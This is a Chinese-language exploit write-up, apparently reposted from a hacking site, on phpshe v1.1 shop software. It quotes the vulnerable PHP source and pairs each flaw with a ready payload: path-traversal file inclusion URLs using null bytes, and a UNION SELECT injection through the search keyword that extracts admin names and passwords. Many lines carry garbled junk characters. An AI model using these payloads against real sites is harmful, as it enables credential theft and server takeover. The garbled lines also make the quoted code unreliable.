phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
% L! h2 e) r. ]/*******************************************************/
0×00 整体大概参数传输



5 d0 j+ H% u7 q, e//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
; ^$ S2 J# |7 o3 S0 W' U4 S}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# m  V8 q6 K4 T!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
( Q$ d% ]8 m# F8 _9 F& Nsession_start();
4 v5 ~5 `1 j4 [( b  }: ?!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
. v- i* S0 E) U# P$ g/ O!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

# _, X. i' v+ E3 x& L" ?' E3 j! ]0×01 包含漏洞


1 Y& y0 T* a4 H' D5 g0 j7 B//首页文件
- p% u  Z# C: |! l) i: d5 Y<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
8 a+ z  k  E- W7 j! |( z6 u& L?>
, B/ b+ m6 ?1 t3 o  n' ~0 T0 z//common 文件 第15行开始
/ t! H4 A# p, a. }: ?url路由配置
$module = $mod = $act = 'index';
. D9 S+ @: `9 H+ H0 }1 i$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
7 ?+ J2 \. |; Q$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

5 p0 o0 V. w5 y 0×02 搜索注入

<code id="code2">

//product.php文件
$ `, J" y0 q+ Mcase 'list':
. e$ q8 B( K3 n0 p$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
( z' ~3 }" `5 L9 O$ t2 e% k+ [) h//搜索
3 p+ D! a+ H5 i6 Q5 l" V3 w5 F) i$sqlwhere = " and `product_state` = 1";
- n+ C* I/ T" k' P! h' ~, R* x+ @pe_lead('hook/category.hook.php');
if ($category_id) {
% n$ J( d$ Z+ B9 V( o# iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ D0 Y% Z. v3 e% B# v( Sif ($_g_orderby) {
/ d& M% e. T, v/ Y6 A9 I$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
+ A# |+ y3 i7 Q. s0 S3 Gelse {
$sqlwhere .= " order by `product_id` desc";
. y( l0 g0 T( v; b}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 J& Y& |) t: W' I* a! y//热卖排行
$product_hotlist = product_hotlist();
5 D6 G4 j) w  a8 i$ |: z//当前路径
$nowpath = category_path($category_id);
  H1 w; ~( p" ^6 k$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
! u5 H% X! X6 ^% i//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
, J4 t% T3 F+ |% R0 x# R% F{
6 o0 ?$ p4 }5 b3 w% r//处理条件语句
$sqlwhere = $this->_dowhere($where);
+ s4 ]' v$ u- ~; [+ Lreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
( j" V% s. ^3 o4 f- f* w
) _1 S' i: ?% {% D% P* V9 j0 I+ |: j0×03 包含漏洞2
! B3 n& L  n/ N3 m- N. j
2 d; x/ V) F# n1 I<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

/ c  ?! P& b; y$ _. M* O6 m0 C' N$cache_payway = cache::get('payway');

, H- H5 M" P5 t( yforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

; q5 w( A; W' g$ D/ G+ bif ($k == 'bank') {

! s2 R5 h4 f4 w2 A1 @( P( h2 s$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

$ f: i/ O1 z! D4 q}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

- ]" F5 E% a: B. A0 eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

: y* Z7 z; K( L" T' F* _6 M$order['order_name'] .= "{$v['product_name']};";
6 [) R0 u2 y9 t( O, O9 `# X8 e

9 j9 o- g4 M! X* Z" d5 \}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

9 e5 I8 r8 B* J# {, @, [2 X}//当一切准备好的时候就可以进行"鸡肋包含了"

7 }* ?1 O" c1 n. [+ H6 C$ m1 Y+ Lelse {

pe_error('支付错误...');

% u, M8 r) P) b6 T0 b  }}

! |* ?- `" V4 B4 E8 Y}

2 j; j) M  G: t* ?- M$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

8 n2 x$ g6 l8 B, O& R6 K$ n) o, gbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
; U# u; k' L6 }- ?4 v9 T+ jhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg